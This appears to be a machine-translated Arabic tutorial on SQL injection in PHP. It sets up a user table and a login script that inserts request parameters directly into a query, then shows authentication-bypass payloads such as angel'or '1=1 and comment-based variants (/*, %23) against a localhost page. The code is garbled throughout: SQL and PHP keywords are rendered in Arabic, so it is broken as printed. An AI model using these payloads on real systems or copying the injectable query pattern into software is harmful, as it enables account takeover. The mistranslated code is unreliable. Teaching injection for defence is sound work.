اسمحوا لي أولاً أن أقدم لكم مثالاً لفهم خصوصية ومبدأ الحقن في PHP. بالطبع، يمكن أن يخبرك هذا المثال أيضًا بكيفية تعلم كيفية إنشاء عبارات SQL فعالة.
لنأخذ مثالاً للتحقق من المستخدم أولاً، قم بإنشاء قاعدة بيانات وجدول بيانات وإدراج سجل، كما يلي:
كود PHP:
إنشاء جدول "المستخدم" (
`معرف المستخدم` int(11) ليس زيادة تلقائية فارغة،
`اسم المستخدم` varchar(20) ليس افتراضيًا فارغًا ''،
`كلمة المرور` varchar(20) ليست فارغة افتراضية ''،
المفتاح الأساسي ("معرف المستخدم")
) TYPE=MyISAM AUTO_INCREMENT=3;
#
# تصدير البيانات في الجدول "المستخدم".
#
أدخل في قيم المستخدم (1، 'angel'، 'mypass')؛
رمز التحقق من ملف المستخدم هو كما يلي:
كود PHP:
<?php
$servername = "localhost";
$dbusername = "الجذر";
$dbpassword = "";
$dbname = "الحقن";
mysql_connect($servername,$dbusername,$dbpassword) أو يموت ("فشل اتصال قاعدة البيانات");
$sql = "SELECT * FROM user WHERE username='$اسم المستخدم' وكلمة المرور='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
إذا (فارغة($معلومات المستخدم)){
صدى "فشل تسجيل الدخول"؛
} آخر {
صدى "تم تسجيل الدخول بنجاح"؛
}
صدى "<p>استعلام SQL:$sql<p>";
?>
في هذا الوقت نرسل:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
وسيعود:
تحذير: mysql_fetch_array(): الوسيطة المقدمة ليست مصدر نتائج MySQL صالحًا في F: wwwinjectionuser.php على السطر 13
فشل تسجيل الدخول
استعلام SQL: حدد * من المستخدم حيث اسم المستخدم = "ملاك" أو 1 = 1 "وكلمة المرور ="
تحذير PHP: mysql_fetch_array(): الوسيطة المقدمة ليست مورد نتائج MySQL صالحًا في F:wwwinjectionuser.php على السطر 13
هل ترى؟ بعد إغلاق علامات الاقتباس المفردة، لا يتم التعليق على علامات الاقتباس المفردة، مما يؤدي إلى عدم إقران علامات الاقتباس المفردة بشكل صحيح، لذلك يمكن ملاحظة أن العبارة التي أنشأناها لا يمكن أن تسمح لـ Mysql بالتنفيذ بشكل صحيح وتحتاج إلى إعادة الهيكلة:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
في هذا الوقت، يتم عرض "تم تسجيل الدخول بنجاح"، مما يشير إلى نجاحه. أو أرسل:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
سيؤدي هذا إلى التعليق على العبارات التالية! دعونا نتحدث عن الاختلافات بين هذين التقديمين. الجملة الأولى التي قدمناها تستخدم العمليات المنطقية ويمكن القول أنها تستخدم على نطاق واسع في ASP. تعتمد الجملتان الثانية والثالثة على خصائص mysql. يدعم Mysql تنسيقين للتعليق: /* و#، لذلك عندما نقوم بالإرسال، نقوم بالتعليق على الكود التالي. ومن الجدير بالذكر أنه بسبب مشاكل في التشفير، قمنا بإرسال # في سيصبح شريط عنوان IE فارغًا، لذا عندما نرسله في شريط العناوين، يجب أن نرسل %23 قبل أن يصبح #، ويتم التعليق عليه بنجاح. وهذا أبسط بكثير من العمليات المنطقية قوية ومرنة من ASP أكثر من ذلك بكثير.